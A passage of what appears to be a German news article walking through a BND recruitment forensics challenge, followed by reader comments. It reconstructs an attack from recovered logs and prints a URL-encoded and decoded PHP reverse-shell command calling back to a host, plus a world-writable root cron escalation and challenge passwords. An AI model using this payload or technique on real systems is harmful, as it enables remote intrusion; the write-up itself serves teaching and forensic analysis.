Abo
  • Services:
Anzeige
Bezahlung nach TVöD Bund in der Entgeltgruppe 14 und eine tarifliche Sonderzulage von 400 Euro monatlich: Wie wär's mit einem Job beim BND?
Bezahlung nach TVöD Bund in der Entgeltgruppe 14 und eine tarifliche Sonderzulage von 400 Euro monatlich: Wie wär's mit einem Job beim BND? (Bild: BND/Screenshot: Golem.de)

Remote-Shell in gelöschter Webserver-Logdatei

Die Logdatei des Webservers wurde vom Hacker bereinigt. Wir finden dort lediglich einige Cross-Site-Scripting-Versuche und eine Eingabe einer langen Zeichenkette von As, die wohl den Buffer Overflow auslöst, aber keinen Angriffsversuch darstellt und lediglich zu einem Absturz führen dürfte. Allerdings wissen wir natürlich, dass gelöschte Daten oftmals nicht wirklich gelöscht sind. Um möglicherweise gelöschte Logdaten zu finden, schauen wir uns die Partition selbst an. Das machen wir außerhalb der virtuellen Maschine. Die Partitionen in einer vmdk-Datei lassen sich mit dem Programm 7-Zip extrahieren. Wir erhalten eine SWAP-Partition und ein EXT4-Dateisystem. Das Dateisystem durchsuchen wir mittels strings und grep nach der Zeichenkette GET.

Anzeige

Wir finden tatsächlich einige weitere Logeinträge, die uns Aufschluss über den Angriff geben. Spannend sind Einträge dieser Form:

192.168.1.11 - - [23/Nov/2016:10:13:32 +0100] "GET /originalIndex.php?password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA& file=;%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d %66%73%6f%63%6b%6f%70%65%6e%28%22%31%39%32%2e%31 %36%38%2e%31%2e%31%31%22%2c%31%32%33%34%29%3b%65 %78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20 %3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27 HTTP/1.1" 200 1991 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Die Prozentzeichen sind URL-codiert, wir verwenden PHP, um diese zu decodieren, beispielsweise auf der Kommandozeile mit php -r echo(urldecode([eingabe]));). Das Ergebnis:

  1. php -r
  2. '$sock=fsockopen("192.168.1.11",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Der Angreifer nutzt hier PHP, um eine Remote-Shell aufzumachen. Über den Port 1234 kann er anschließend in das System eindringen. Etwas überrascht sind wir über die IP-Adresse. Es handelt sich sowohl im Log als auch in der Remote-Shell um eine lokale IP, die eigentlich von außen nicht zugänglich sein dürfte. Der Angreifer muss sich also im lokalen Netz befinden oder wir haben es mit einer ungewöhnlichen Portforwarding-Konstruktion zu tun. Da wir über das Netzwerk jedoch keine weiteren Informationen haben, können wir hier nicht weiterforschen.

Was liegt unter /home/root?

Wie wurde der Angreifer aber zum Root-Nutzer? Hier müssen wir eine Weile rätseln. Wir finden ein Verzeichnis /home/root mit diesen ungewöhnlichen Berechtigungen: drwx---r--. Das Verzeichnis hat also Leserechte für alle Nutzer. Darin finden wir eine Datei root_pw und eine Datei Rul0rzZrootPw.

In Rul0rzZrootPw finden wir das aktuelle Root-Passwort (JDWbwz334aawefHHwf/)2). Wir vermuten zunächst, dass die Datei root_pw das originale Root-Passwort (2Has21sjJ0w3/?dee82H) enthält und dort bereits vorher lag. Die seltsame Leseberechtigung erlaubt allerdings keinen Lesezugriff auf die Datei. Sie ermöglicht es uns lediglich, den Inhalt des Verzeichnisses anzuzeigen. Wir können als Nutzer die Dateien darin nicht auslesen.

Letztendlich finden wir die mutmaßliche Lösung woanders: Es existiert ein Cronjob des Root-Nutzers, der regelmäßig ein Skript mit dem Namen doAlwaysCron.sh ausführt. Dieses Skript lässt sich von allen Nutzern lesen und schreiben. Somit kann der Nutzer www-data dort eigene Befehle einfügen. Sie werden kurze Zeit später mit Root-Rechten ausgeführt.

Wir finden weiterhin noch ein Verzeichnis hackedData im home-Verzeichnis. Darin gibt es zwei Dateien flagImage.jpg und hackedPasswords.txt. Das Bild flagImage.jpg zeigt uns den Text "You are close! However, this is not the flag! Maybe you should look a bit closer... :-)".

Einen Hinweis, was es mit diesem Rätsel auf sich hat, finden wir in der Bash-History des Root-Nutzers. Dort wird der Befehl steghide ausgeführt. Dabei handelt es sich um ein Programm, das Nachrichten passwortgeschützt in Bildern versteckt. Wir analysieren die Datei außerhalb des Images und stehen vor einem Problem: steghide wird nicht mehr weiterentwickelt und lässt sich auf einem modernen System mit aktuellem gcc-Compiler nicht kompilieren. Allerdings finden wir einen Patch, der uns weiterhilft. Wir probieren mit einer Schleife alle Passwörter aus hackedPasswords.txt aus. gr3at3stH4xX0rAl1ve!1 ist das richtige Passwort und wir erhalten folgende Lösung:

  1. You solved the challenge!
  2. Here is your nugget <@:-)
  3.  
  4. H4CK1NG_1S_RE4LY_4WESOM3!

 Script-Injection in PHP-WebseiteGab es einen Inside-Hacker? 

eye home zur Startseite
ClausWARE 21. Mär 2017

Also das Fazit am ende ließt sich nicht gerade wie Wrbung für den BND.

Themenstart

terrorzelle77 19. Mär 2017

Hallöchen, wie genau haben die Angreifer root-Zugang erhalten? Als www-data user kann ich...

Themenstart

ffx2010 18. Mär 2017

Ok, dann möchte ich mich hiermit entschuldigen für den harschen Ton. Trotzdem habe doch...

Themenstart

eisbaer 18. Mär 2017

ihr wisst schon, dass ihr die Arbeit jener entwertet habt, die die Aufgaben nicht aus...

Themenstart

ArcherV 18. Mär 2017

Naja wenn ich mir die Besolderungsgruppen anschaue stehen die ziemlich gut da.

Themenstart

Kommentieren



Anzeige

Stellenmarkt
  1. Dataport, Altenholz bei Kiel
  2. Robert Bosch GmbH, Stuttgart-Feuerbach
  3. Völkel Mikroelektronik GmbH, Münster (Nordrhein-Westfalen)
  4. Bertrandt Services GmbH, Koblenz


Anzeige
Hardware-Angebote
  1. 281,99€
  2. (reduzierte Überstände, Restposten & Co.)

Folgen Sie uns
       

Anzeige
Whitepaper
  1. Globale SAP-Anwendungsunterstützung durch Outsourcing


  1. Die Woche im Video

    Cebit wird heiß, Android wird neu, Aliens werden gesprächig

  2. Mobilfunkausrüster

    Welche Frequenzen für 5G in Deutschland diskutiert werden

  3. XMPP

    Bundesnetzagentur will hundert Jabber-Clients regulieren

  4. Synlight

    Wie der Wasserstoff aus dem Sonnenlicht kommen soll

  5. Pietsmiet

    "Alle Twitch-Kanäle sind kostenpflichtiger Rundfunk"

  6. Apache-Lizenz 2.0

    OpenSSL plant Lizenzwechsel an der Community vorbei

  7. 3DMark

    Overhead-Test ersetzt Mantle durch Vulkan

  8. Tastatur-App

    Nutzer ärgern sich über Verschlimmbesserungen bei Swiftkey

  9. Kurznachrichten

    Twitter erwägt Abomodell mit Zusatzfunktionen

  10. FTTH

    M-net-Glasfaserkunden nutzen 120 GByte pro Monat



Haben wir etwas übersehen?

E-Mail an news@golem.de


Anzeige
Videostreaming im Zug: Maxdome umwirbt Bahnfahrer bei Tempo 230
Videostreaming im Zug
Maxdome umwirbt Bahnfahrer bei Tempo 230
  1. USA Google will Kabelfernsehen über Youtube streamen
  2. Verband DVD-Verleih in Deutschland geht wegen Netflix zurück
  3. Nintendo Vorerst keine Videostreaming-Apps auf Switch

Buch - Apple intern: "Die behandeln uns wie Sklaven"
Buch - Apple intern
"Die behandeln uns wie Sklaven"
  1. Übernahme Apple kauft iOS-Automatisierungs-Tool Workflow
  2. Instandsetzung Apple macht iPhone-Reparaturen teurer
  3. Earbuds mit Sensor Apple beantragt Patent auf biometrische Kopfhörer

Lithium-Akkus: Durchbruch verzweifelt gesucht
Lithium-Akkus
Durchbruch verzweifelt gesucht
  1. Super MCharge Smartphone-Akku in 20 Minuten voll geladen
  2. Brandgefahr HP ruft über 100.000 Notebook-Akkus zurück
  3. Brandgefahr Akku mit eingebautem Feuerlöscher

  1. Re: Denen geht das A-Wasser

    ArcherV | 10:49

  2. Re: Die Stunde für Lexus

    ArcherV | 10:45

  3. Re: 24h XXX-Streams

    Lemo | 10:43

  4. Re: Na Gott sei Dank

    kingnewbie2012 | 10:42

  5. CB-Funk

    Crass Spektakel | 10:39


  1. 09:03

  2. 17:45

  3. 17:32

  4. 17:11

  5. 16:53

  6. 16:38

  7. 16:24

  8. 16:09


  1. Themen
  2. A
  3. B
  4. C
  5. D
  6. E
  7. F
  8. G
  9. H
  10. I
  11. J
  12. K
  13. L
  14. M
  15. N
  16. O
  17. P
  18. Q
  19. R
  20. S
  21. T
  22. U
  23. V
  24. W
  25. X
  26. Y
  27. Z
  28. #
 
    •  / 
    Zum Artikel